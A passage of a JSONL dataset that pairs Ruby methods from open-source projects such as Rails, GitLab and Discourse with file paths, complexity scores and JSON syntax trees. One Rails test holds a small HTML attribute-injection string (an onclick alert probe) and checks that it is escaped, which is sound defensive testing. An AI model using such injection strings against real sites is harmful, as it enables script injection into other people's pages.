":[]},\"class\"]},\"method_defined?\",{\"type\":\"lvar\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"a\"]},{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"a\"]},{\"type\":\"lvar\",\"children\":[\"event_data\"]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}","id":"1cdca27e-6454-43f7-8b81-ad711604bbc8"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/my/access_token/api_tokens_section_component.rb","start_line":65,"raw_source":"def add_button_icon\n case token_type.to_s\n when \"Token::ICalMeeting\" then :rss\n else :plus\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"add_button_icon\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token_type\"]},\"to_s\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Token::ICalMeeting\"]},{\"type\":\"sym\",\"children\":[\"rss\"]}]},{\"type\":\"sym\",\"children\":[\"plus\"]}]}]}","id":"74dffcc5-7094-4109-b70c-9f27ed8d4bd7"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/translation_helper_test.rb","start_line":106,"raw_source":"def test_returns_missing_translation_message_with_unescaped_interpolation\n expected = '<span class=\"translation_missing\" title=\"translation missing: en.translations.missing, name: Kir, year: 2015, vulnerable: &quot; onclick=&quot;alert()&quot;\">Missing</span>'\n assert_equal expected, translate(:\"translations.missing\", name: \"Kir\", year: \"2015\", vulnerable: %{\" onclick=\"alert()\"})\n assert_predicate translate(:\"translations.missing\"), :html_safe?\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returns_missing_translation_message_with_unescaped_interpolation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<span class=\\\"translation_missing\\\" title=\\\"translation missing: en.translations.missing, name: Kir, year: 2015, vulnerable: &quot; onclick=&quot;alert()&quot;\\\">Missing</span>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"translate\",{\"type\":\"sym\",\"children\":[\"translations.missing\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Kir\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"str\",\"children\":[\"2015\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vulnerable\"]},{\"type\":\"str\",\"children\":[\"\\\" onclick=\\\"alert()\\\"\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[null,\"translate\",{\"type\":\"sym\",\"children\":[\"translations.missing\"]}]},{\"type\":\"sym\",\"children\":[\"html_safe?\"]}]}]}]}","id":"93e8e814-07a4-4df8-9537-c8a497d14cd2"} {"repo_name":"forem","file_path":"./repos/forem/app/services/users/delete.rb","start_line":40,"raw_source":"def delete_podcasts\n DeletePodcasts.call(user)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_podcasts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeletePodcasts\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}","id":"01eda2c8-8b61-4d28-8262-ce4f70a3ff97"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_setting.rb","start_line":126,"raw_source":"def require_unique_domain?\n pages_unique_domain_enabled ||\n pages_unique_domain_in_database.present?\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"require_unique_domain?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pages_unique_domain_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pages_unique_domain_in_database\"]},\"present?\"]}]}]}","id":"81a339af-1df9-483f-b422-29949dad3934"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/modx.rb","start_line":225,"raw_source":"def post_process_raw(raw)\n # [QUOTE]...[/QUOTE]\n raw =\n raw.gsub(%r{\\[quote.*?\\](.+?)\\[/quote\\]}im) do |quote|\n quote = quote.gsub(/\\[quote author=(.*?) .+\\]/i) { \"\\n[quote=\\\"#{$1}\\\"]\\n\" }\n quote = quote.gsub(%r{[^\\n]\\[/quote\\]}im) { \"\\n[/quote]\\n\" }\n end\n\n raw\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"post_process_raw\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"raw\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[quote.*?\\\\](.+?)\\\\[/quote\\\\]\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"m\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"quote\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quote\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quote\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[quote author=(.*?) .+\\\\]\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n[quote=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"\\\"]\\n\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"quote\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quote\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^\\\\n]\\\\[/quote\\\\]\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"m\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"\\n[/quote]\\n\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"raw\"]}]}]}","id":"d45e3475-5cba-4282-a457-efd670ac0048"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/storage.rb","start_line":588,"raw_source":"def free_space_percent_of_total\n total_space.to_i.zero? ? 0.0 : (free_space.to_f / total_space * 1000.0).round / 10.0\n end","complexity_score":16.85,"ast_json":"{\"type\":\"def\",\"children\":[\"free_space_percent_of_total\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"total_space\"]},\"to_i\"]},\"zero?\"]},{\"type\":\"float\",\"children\":[0.0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"free_space\"]},\"to_f\"]},\"/\",{\"type\":\"send\",\"children\":[null,\"total_space\"]}]},\"*\",{\"type\":\"float\",\"children\":[1000.0]}]}]},\"round\"]},\"/\",{\"type\":\"float\",\"children\":[10.0]}]}]}]}","id":"2b09d32c-410e-493c-bb9e-8f6d7912acaf"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/work_packages/selects/property_select.rb","start_line":170,"raw_source":"def self.instances(_context = nil)\n active_selects = property_selects.reject do |_, options|\n condition = options[:if]\n condition && !condition.call\n end\n active_selects.filter_map do |default_name, options|\n name = options[:name] || default_name\n new(name, options.without(:if, :name))\n end\n end","complexity_score":19.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"instances\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_context\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"active_selects\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"property_selects\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"condition\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"if\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition\"]},\"call\"]},\"!\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active_selects\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"default_name\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"lvar\",\"children\":[\"default_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"without\",{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]}","id":"4c5329cd-fd51-4cc3-8065-ce8c1d0f01af"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/sharing/share_modal.rb","start_line":198,"raw_source":"def expect_empty_search_blankslate\n within_modal do\n expect(page).to have_text(I18n.t(\"sharing.text_empty_search_description\"))\n end\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_empty_search_blankslate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_modal\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_text\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"sharing.text_empty_search_description\"]}]}]}]}]}]}","id":"73bc5f8c-e622-41c0-be3c-3f2fe0ca6f10"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/insert_all_test.rb","start_line":436,"raw_source":"def test_upsert_all_only_applies_last_value_when_given_duplicate_identifiers\n skip unless supports_insert_on_duplicate_update? && !current_adapter?(:PostgreSQLAdapter)\n\n Book.create!(id: 112, name: \"original_name\")\n\n Book.upsert_all [\n { id: 112, name: \"unexpected_new_name\" },\n { id: 112, name: \"expected_new_name\" }\n ]\n assert_equal \"expected_new_name\", Book.find(112).name\n end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_upsert_all_only_applies_last_value_when_given_duplicate_identifiers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_insert_on_duplicate_update?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"PostgreSQLAdapter\"]}]},\"!\"]}]},null,{\"type\":\"send\",\"children\":[null,\"skip\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[112]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"original_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"upsert_all\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[112]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"unexpected_new_name\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[112]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"expected_new_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"expected_new_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"find\",{\"type\":\"int\",\"children\":[112]}]},\"name\"]}]}]}]}","id":"b84abd3e-19cd-4795-ae04-899d5be35264"} {"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/notifications_controller.rb","start_line":134,"raw_source":"def create\n @notification = Notification.consolidate_or_create!(notification_params)\n render_notification\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@notification\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"consolidate_or_create!\",{\"type\":\"send\",\"children\":[null,\"notification_params\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_notification\"]}]}]}","id":"fea1857e-13d9-459a-adf5-6ff2e2536551"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_gists_import/importer/gist_importer.rb","start_line":91,"raw_source":"def check_gist_repo_size!\n return if gist.total_files_size <= Gitlab::CurrentSettings.snippet_size_limit\n\n raise RepoSizeLimitError, REPO_SIZE_LIMIT_MESSAGE\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_gist_repo_size!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gist\"]},\"total_files_size\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"snippet_size_limit\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RepoSizeLimitError\"]},{\"type\":\"const\",\"children\":[null,\"REPO_SIZE_LIMIT_MESSAGE\"]}]}]}]}","id":"d9d6e733-ae14-458e-88e9-e5fa08d929cc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/import/delete_placeholder_user_worker.rb","start_line":29,"raw_source":"def find_placeholder_user(id)\n user = User.find_by_id(id)\n return if user.nil? || !user.placeholder?\n\n user\n end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"find_placeholder_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"placeholder?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}","id":"6c8f6706-11c7-4bb5-a896-9b2821633920"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_formatter.rb","start_line":192,"raw_source":"def test_format_suppresses_tab\n @formatter.configure({})\n formatted = @formatter.format(tag, @time, record_with_tab)\n\n assert_equal(\"message:awe some\\tgreeting:hello #{@newline}\", formatted)\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_format_suppresses_tab\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@formatter\"]},\"configure\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"formatted\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@formatter\"]},\"format\",{\"type\":\"send\",\"children\":[null,\"tag\"]},{\"type\":\"ivar\",\"children\":[\"@time\"]},{\"type\":\"send\",\"children\":[null,\"record_with_tab\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"message:awe some\\tgreeting:hello \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@newline\"]}]}]},{\"type\":\"lvar\",\"children\":[\"formatted\"]}]}]}]}","id":"56381478-a08a-45fb-aeb1-81f97b2d16ad"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/principal.rb","start_line":188,"raw_source":"def identity_url\n link = active_user_auth_provider_link\n \"#{link.auth_provider.slug}:#{link.external_id}\" if link.present?\n end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"identity_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link\",{\"type\":\"send\",\"children\":[null,\"active_user_auth_provider_link\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"auth_provider\"]},\"slug\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"external_id\"]}]}]},null]}]}]}","id":"05527d55-daa9-4981-88e8-04cafa4f6c96"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kubernetes/role_binding.rb","start_line":14,"raw_source":"def generate\n ::Kubeclient::Resource.new.tap do |resource|\n resource.metadata = metadata\n resource.roleRef = role_ref\n resource.subjects = subjects\n end\n end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Kubeclient\"]},\"Resource\"]},\"new\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"metadata=\",{\"type\":\"send\",\"children\":[null,\"metadata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"roleRef=\",{\"type\":\"send\",\"children\":[null,\"role_ref\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"subjects=\",{\"type\":\"send\",\"children\":[null,\"subjects\"]}]}]}]}]}","id":"c3875132-ea64-4387-9006-b89b96dc6d50"} {"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":2374,"raw_source":"def test_form_with_with_string_url_option\n form_with(model: @post, url: \"http://www.otherdomain.com\") do |f| end\n\n assert_dom_equal whole_form(\"http://www.otherdomain.com\", method: \"patch\"), @rendered\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_with_with_string_url_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"http://www.otherdomain.com\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"http://www.otherdomain.com\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"d764736f-b843-4edd-b6a2-3486e7379017"} {"repo_name":"spree","file_path":"./repos/spree/storefront/app/controllers/spree/checkout_controller.rb","start_line":226,"raw_source":"def insufficient_payment?\n params[:state] == 'confirm' &&\n @order.payment_required? &&\n @order.payments.valid.sum(:amount) != @order.total\n end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"insufficient_payment?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"state\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"confirm\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"payment_required?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"payments\"]},\"valid\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"amount\"]}]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@order\"]},\"total\"]}]}]}]}","id":"b8ba1337-466d-479b-bf6e-14de5b1dd406"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline_schedule.rb","start_line":96,"raw_source":"def set_next_run_at\n self.next_run_at = ::Ci::PipelineSchedules::CalculateNextRunService # rubocop: disable CodeReuse/ServiceClass\n .new(project)\n .execute(self, fallback_method: method(:calculate_next_run_at))\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_next_run_at\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"next_run_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"PipelineSchedules\"]},\"CalculateNextRunService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},\"execute\",{\"type\":\"self\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallback_method\"]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"calculate_next_run_at\"]}]}]}]}]}]}]}","id":"b04fd2f3-52a7-44fe-a0f8-30e1fb0d9ca1"} {"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/interactors/models/update_model.rb","start_line":7,"raw_source":"def call\n unless context\n .model\n .update(context.model_params)\n context.fail!(model: context.model)\n end\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"model\"]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"model_params\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"fail!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"model\"]}]}]}]}]}]}","id":"41470917-56a4-4c41-9761-cae8167a0f38"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/destroy_service.rb","start_line":61,"raw_source":"def mark_deleted\n group.update_attribute(:deleted_at, Time.current)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"mark_deleted\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"update_attribute\",{\"type\":\"sym\",\"children\":[\"deleted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}","id":"8da2bb01-50d7-49c6-8bd2-0aad9541e648"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/fetch_resource_service.rb","start_line":82,"raw_source":"def process_link_headers(link_header)\n json_link = link_header.find_link(%w(rel alternate), %w(type application/activity+json)) || link_header.find_link(%w(rel alternate), ['type', 'application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"'])\n\n process(json_link.href, terminal: true) unless json_link.nil?\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_link_headers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link_header\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json_link\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_header\"]},\"find_link\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"rel\"]},{\"type\":\"str\",\"children\":[\"alternate\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"application/activity+json\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link_header\"]},\"find_link\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"rel\"]},{\"type\":\"str\",\"children\":[\"alternate\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"application/ld+json; profile=\\\"https://www.w3.org/ns/activitystreams\\\"\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_link\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_link\"]},\"href\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"terminal\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"6a5646eb-babe-427b-9e92-8cedc7a99385"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":1311,"raw_source":"def test_a_parent_marked_for_destruction_should_not_be_destroyed_twice\n @ship.pirate.mark_for_destruction\n assert @ship.save\n class << @ship.pirate\n def destroy; raise \"Should not be called\" end\n end\n assert @ship.save\n 